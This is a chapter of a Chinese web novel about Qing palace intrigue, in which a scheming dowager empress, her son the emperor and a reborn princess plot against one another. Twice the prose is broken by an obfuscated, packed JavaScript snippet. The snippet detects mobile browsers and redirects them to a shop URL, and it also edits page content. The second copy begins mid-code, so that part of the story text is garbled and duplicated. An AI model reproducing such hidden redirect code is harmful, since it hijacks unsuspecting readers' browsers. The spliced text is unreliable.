正在福晋等人的陪同下沿着逢春化冰的人工湖缓慢散步恢复每年冬天都会剧痛发作的腿脚的怡亲王允祥停下脚步,还未开口,十三福晋已露出不悦声色,呵斥道:“什么事这么大惊小怪!” “回福晋主子的话,奴才……奴才有错……奴才……” “先说到底发生了什么?” 在福晋的搀扶下缓缓坐下的允祥平静地看着磕头如捣蒜的下人。 “嗻——” 下人抬头,将四公主被皇上强逼着和离的事情娓娓道来,又奉上近来在酒肆茶馆流传甚广的皇上通过打发四公主去蒙古和亲敲打圣母皇太后和年氏一族让圣母皇太后早日归还权力允许他摄政亲政的说法。 听完下人的报告,允祥沉默良久。 福晋见状,斥退左右,附耳低声问道:“王爷,您对此事……” “我如今不过是个居家养病的富贵闲人,朝堂风雨与我再无半点关联!” “可是——” “眼下的朝堂看似母慈子孝,其实暗涛汹涌,风云瞬息万变,我这个先帝钦点的摄政王能在风雨将来时退回家中享受夫妻和睦儿女绕膝的天伦之乐已经是不幸之中的万幸,哪里还敢再卷入是非!” “王爷……” “山雨欲来风满楼,大清即将迎来百年未有之大变局,而我们……我们能在这场风雨中保得全须全尾已经是侥幸,就不要再奢求其他了。” 允祥叹了口气,在福晋的搀扶下缓缓起身,继续他的赋闲生涯。 …… …… “什么!民间竟敢妄议朕和四皇姐的事情!简直反了天!” 粘杆处的禀告让弘宜愤怒,拍案而起:“让刑部的人马上过来,朕要严惩此事!” “皇上——” 圣母皇太后的声音骤然响起,打断少年天子的勃然大怒:“你刚才说要严惩什么?” “回皇额涅的话,民间有反贼妄议皇家事务,儿子有意将他们一网打尽!” [不用猜,肯定是四皇姐心有不甘故意在民间散步谣言,想给朕身上泼脏水!] 弘宜暗自嘀咕着,脸上却始终保持着谦逊的笑容:“皇额涅,儿子知道您和四皇姐都对和离之事颇有不满,可是为了大清江山的长治久安,儿子也不得不——” “你已经能让女人怀孕,也难怪不想继续听皇额涅絮絮叨叨。” 武曌打断弘宜,和蔼可亲地说道:“妞妞的事情,我希望到此为止。” “可是——” “不管怎么说,她都是你的四皇姐!过分针对小心让天下人耻笑!” “皇额涅——” “防民之口甚于防川,如果你一意孤行,本宫也将不得不信了那个传言。” “什么传言?” 弘宜警觉,目光炯炯。 武曌缓缓道:“皇上此举乃是杀鸡儆猴。” “皇额涅,你……” “到此为止吧,皇上,你也不想落下不忠不孝、手足相残的骂名吧?” “皇额涅,你有所不知,儿子并非刻意与四皇姐为难,是四皇姐不仁不义在前,在民间宣传什么‘女主天下’的反贼言论,儿子为了江山稳定才不得不出此下策!” 说到此处,弘宜愤愤道:“倘若朕心中不念着和四皇姐的姐弟之情,对她犯下的谋逆罪的处置就不会是轻飘飘地罚她与富察家和离、把她嫁去蒙古和亲!而且皇额涅你可知道母后皇太后之死与四皇姐有关!母后皇太后原本不会这么早就离开我们,是四皇姐……四皇姐她心存不轨,下毒手害了母后皇太后!” “……此话当真?” 武曌故作惊愕。 弘宜点头。 武曌追问道:“可有证据?” “她做得很隐蔽,儿子至今没有找到证据,但儿子确信这件事是她干的!” “你……” 武曌露出苦笑:“皇上,你又一次地让本宫失望了。” “皇额涅——” 弘宜摸不清圣母皇太后的意思,露出困惑神情。 武曌抬手,轻抚弘宜脸庞:“弘宜啊弘宜,你对待亲姐姐尚且如此的欲加之罪何患无辞,待到本宫百年之后,你当真允许年家平安无事?” “儿子对皇额涅一片赤诚孝顺,天地可鉴!” “是吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323551|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 武曌冷笑,嘲讽道:“本宫只怕你甚至不愿等到本宫的百年之后再对年家开刀。” “——皇额涅!” 弘宜心中涌起莫名不安,连忙下跪请罪:“儿子自小熟读经典,此生绝不可能做不忠不孝之事!” “但愿如此。” 武曌勾唇一笑,起身离开。 欠身恭送的弘宜心中泛起强烈的不安。 [皇额涅……皇额涅刚才那番话是什么意思?难不成她要效仿武则天废了朕这个皇帝……但是她只有朕这一个儿子……弘时与弘昼都不成器,亦非她所生……齐太妃和耿太妃也都还活着……] 即便如此,弘宜的不安依然如暴雨来临前的乌云般越聚越多,压满心头。 …… …… 【你刚才那番话,该不会是准备和弘宜撕破脸吧?】 仪仗队伍才出养心殿,凤龙就忍不住凑上前,兴致盎然地询问。 武曌低头,盘弄着护甲。 [弘宜是个狼崽子,还没有学会走路就想着怎么咬死亲妈独霸天下,我怎么能容下他!可惜称制的条件还不完全成熟,我对他依然必须不得不暂时忍耐。] 【你们人类社会的游戏规则真麻烦……什么都要考虑,什么政策啊民心啊生产力啊社会舆论走向啊……偏偏大部分人还特别愚蠢盲目顽固,只相信自己看到的听到的……不过也正因为人类社会的游戏规则如此繁琐复杂,牵一发而动全身,观察人类世界的我才能得到如此多的真正的乐趣~】 嘟囔着,凤龙双手背在脑后,凌空做出侧躺姿态。 【你接下来准备怎么一边发展自己的势力促成登基的条件一边收拾狼崽子的野心?】 [皇上如此野心勃勃,那就让他生一场大病吧,怀孕的那拉贵人再过几个月就能生下龙胎了。] 武曌抬手顺了顺鬓角,笑容明媚如春光。 …… “奴才叩见圣母皇太后!圣母皇太后——” “你怀了龙胎,不用行此大礼。” 武曌上前,扶持惊惶不安的那拉贵人,看了眼女人足有七、八个月大的肚子:“龙胎近来可好?” “回皇太后的话,太医每日都会来奴才这边为奴才诊脉,他说龙胎一切安好,至多再过两月就能生产,只是……” 那拉贵人有些欲言又止。 “只是什么?” 武曌笑问道:“担心你在皇后入宫前就为皇上生下龙胎可能招来皇后的不满?将来被皇后针对?” “奴才不敢……奴才……奴才……” 被说中心思的那拉贵人委屈得快要哭出来了。 武曌安抚道:“富察家的女儿向来懂规矩讲道理,不会胡乱做出卑鄙无耻的事情!何况你将要生下的是本宫的长孙,本宫又怎么可能眼睁睁看着旁人害皇嗣!等孩子生下,本宫立刻下懿旨将你晋封为嫔,如何?” “谢皇额涅恩赐。” 那拉贵人哽咽谢恩。 凤龙这时突然叹了口气。 【那拉氏肚子里的孩子发育得太健康,出生的时候怕不是会让母体吃苦头。】 111.各怀野心的两人 [难产?] 【嗯。】 凤龙微微一笑。 【不过这也是意料中的事情,她太年轻,你们的医疗能力又太原始……】 [我明白了。] 武曌叹了口气,让太监去太医院那边传话,务必全力照看那拉氏,确保母子平安。 “嗻——” 太监小碎步退下,武曌则摆驾回宫。 …… …… 一个月的时间弹指而过。 满心不情愿的妞妞终究拗不过皇权,被迫结束和富察家额驸的短暂婚姻,回紫禁城陪伴圣母皇太后和生母熹太妃,等待随时可能发生的远嫁蒙古和亲。 这一日,妞妞陪着圣母皇太后在御花园中闲走,见到天上飞过一排似孔明灯又非孔明灯之物,顿生诧异:“皇额涅,这是什么?” “这是热气球,工匠们最新造出来的,最大的热气球能载五六人上天。” “热气球?载人上天?” 妞妞眼中闪过恍惚。 [朕以乾隆大帝的身份统治大清的前世,英吉利使者马嘎尔向朕上供的西洋物品中似乎也有类似的东西……如今看来……倒是……] [为什么突然流露出恍惚眼神?你在回想什么?又在后悔什么?] 武曌按下对妞妞的好奇,缓缓道:“大清即将迎来百年未有之大变局。” “确实是一场大变局……” 妞妞低喃,眼前如走马灯般流过前世从西洋传教士口中获悉的接下来半个世纪会陆续发生的大事:叶卡捷琳娜二世成为俄罗斯沙皇开启对欧洲的多场领土扩张战争、北美十四州发动反抗英吉利殖民统治的独立战争、法国百姓攻陷巴士底狱掀起轰轰烈烈的大革命、路易十六夫妻走上断头台…… [前世的朕为了保住大清江山,加强禁海令,严格管控和西洋各国的往来,严禁百姓接触西洋暴民思想。然而今生的朕是女人,女人要想重新坐上皇位,首先要废除天下人对女人的限制,然后才能……让天下读书人阅读西洋人关于女人登基的作品才不失为一种手段……果然人世间的种种从来都是此一时彼一时……] [你又在想什么?盘点自己的上一世寻找新的谋取权力的办法?还是……可惜,一切都已经太晚……你很快就会被送去蒙古,最好的结果不过是成为蒙古女王……即便你成功晋位为蒙古女王,你也没有足够的精力和我争权夺势,因为俄罗斯即将迎来伊丽莎白和叶卡捷琳娜二世的时代,这两位女皇都热衷于对外发动扩张战争……你想要保住现有权力,必然要和我合作……] 想到此处,各怀野心的两人不由相视一笑。 “皇额涅,你说那拉贵人肚子里怀的是阿哥还是格格?” “若能自己选择,本宫自然希望她生下大阿哥,可惜……天意岂是人心能够左右?” “妞妞也想过和额驸早早生下孩子,谁承想……” 妞妞做出伤感姿态。 武曌握着她的手,虚情假意地拍了两下,叹息道:“皇上此般举动确实过分,等皇额涅将来找到机会一定给妞妞出气。” “谢皇额涅关爱,可惜妞妞……妞妞已经……心灰意冷,只想远走蒙古,不再回京城。” “妞妞你……你怎么能说这种伤人心的话!” 武曌露出悲痛神情,仿佛她的心被妞妞的话狠狠伤到。 [妇人之仁!] 妞妞暗暗冷笑,顺势靠在圣母皇太后怀中,叹息道:“皇额涅,我……我是被皇上伤透了心,才……妞妞也舍不得皇额涅……” “皇额涅同样是舍不得你啊。” 武曌半真半假地保住妞妞,温情的眼神深处闪过一抹不易觉察的嘲讽。 …… …… 那拉贵人的身孕很快到了生产的日子。 龙胎关系重大,因此贵人才刚见红,她的居所就被里三层外三层地围了起来,武曌亲自前往,等里面传出消息。 弘宜对这个即将出生而未出生的头胎却是兴致乏乏。 他还年轻,又即将正式迎娶皇后、和皇后生下大清的嫡长子,自然不可能对那拉贵人这种既不是绝世美人又不是满洲名门的普通女人在皇帝为母后皇太后守孝期内意外怀上并生下的孩子有太多的期待。 ——达成打压四公主目标的他早已忘记自己为何故意在孝期内让那拉氏怀孕,反而怪那拉氏太容易怀上孩子,损了自己的孝顺名声。 [听太医说胎儿发育过大,那拉氏生孩子的时候很可能会难产……若是她因难产而死,倒也不失为一件好事……] 弘宜冷血地想着,拿起西北送来的奏章,奏章中提到因为新式火木仓、火炮等火器以及马达、蒸汽机在战场的推广使用,原本不服大清、屡次叛乱的部落土司们纷纷向大清表示臣服。 “好!好!好——” 宜的声音突然僵住,他看到奏章末尾写着“呈圣母皇太后和皇上御览”,更看到批语部分密密麻麻写满了圣母皇太后的朱红小字。 这份奏章竟是圣母皇太后批阅完毕再送到自己面前! “皇额涅……” [你就这么想成为大清的武则天吗?] 弘宜一阵手抖。 他感到迷茫,更感到强烈的危机。 [朕必须尽快大婚亲政,然后联合宗亲大臣们请皇太后去慈宁宫颐养天年!] 另一边—— 产房里的声音突然停歇,早已从凤龙处知道结果的武曌做出焦急姿态:“孩子出生了吗?” “回圣母皇太后,那拉贵人刚才晕死过去,孩子……孩子已经开始出来了……” “出来的是脑袋还是……” “脑袋还没有出来——” 负责接生的稳婆满脸愁容:“太后,奴才以为那拉贵人这一胎恐怕……恐怕……” “恐怕如何!这是皇上的头胎!大清的龙子!你们要全力保住!” “可是……” 稳婆露出不解:“依着太医的说法这龙胎分明是不足月的早产儿,可奴才……奴才从来没有见过这么……” “这不是你该多问的事情!” 武曌打断稳婆的话,让她务必保证孩子平安。 “奴才遵命……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345602|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 稳婆意识到内中另有蹊跷,小心退下,擦干额头冷汗,继续为那拉贵人接生。 又过了大约半个时辰,产房内终于传出孩子高亢的哭声。 武曌急忙闯入产房,抱着婴儿宣布:“那拉贵人为皇上生下了大阿哥!大功一件!等孩子满月擢升为嫔!” “谢……” 奄奄一息的那拉贵人挣扎着要起身谢恩。 武曌道:“你刚生下孩子,不要乱动。” “那大阿哥——” “本宫将会亲自抚养。” 话音落,武曌抱着刚出生的婴儿离开。 一炷香时间后,弘宜收到大阿哥出生的喜讯,脸上先是露出喜色,接着马上收敛,喃喃道:“第一胎居然是阿哥,那岂不是……倘若……” [倘若朕不能顺利从皇额涅和年家人手中夺回权力,皇额涅和年家会不会让朕变成太上皇、抱着朕才出生的大阿哥坐上龙椅继续垂帘听政?毕竟,才出生的婴儿再天纵奇才也要长到十五岁才可能凭借天子权威从太皇太后一族手中夺回权力,何况那拉贵人的嫡亲娘家无人在朝做官,反倒是朕即将迎娶的富察家女儿……] 想到此处,弘宜一身冷汗。 他感到后颈莫名发凉,仿佛有刀刃贴着毛孔。 [皇额涅对朕……应该不至于这么狠心……但是……但是……必须尽快大婚!扶持富察家,联合八旗宗亲,将年氏一族的势力从朝堂赶出去!] 巨大的危机感让弘宜如坐针毡,连圣母皇太后抱着新出生的小阿哥来给他看的时候,他都因为内心的焦虑觉得新生儿的啼哭声像铁锥扎进太阳穴般令他难以忍受。 “这个孩子……” “皇上不喜欢?” 武曌看出弘宜的心绪不宁,将孩子交给身旁的嬷嬷后,走到弘宜面前,笑着提醒道:“你出生的时候也是这般模样,全身皱巴巴,发紫发红。” “皇额涅,儿子……儿子第一次见到刚出生的孩子……确实有些……” 弘宜强忍住呕吐和掐死孩子的冲动,挤出笑容:“可能是儿子年纪还小,第一次做阿玛难免……等以后……以后应该就会……” “皇额涅明白你的意思。” 武曌慈爱地拍了拍弘宜的肩膀,道:“你还年轻,将来会有很多孩子,不像皇额涅只有你一个……” “皇额涅,儿子……” “等孝期结束,帝后大婚就该提上日程了。” “皇额涅打算——” 弘宜露出喜色。 武曌见儿子上钩,低声道:“皇额涅会在帝后大婚前以皇太后身份下旨送四公主去蒙古和亲,如此,无论民间对此有多少议论,都将由皇额涅一人承担。” “谢皇额涅成全!” 弘宜大喜过望,心中更喜不自胜。 [皇额涅果然把朕这个亲生儿子放在心上,愿意在四皇姐这件事情上为朕承担骂名……如此一来,富察家的力量就只属于朕!] [你以为你还有机会享受富察家的政治助力吗?从你把我、你刚出生的孩子视为敌人那一刻开始,你就已经成了我的敌人!]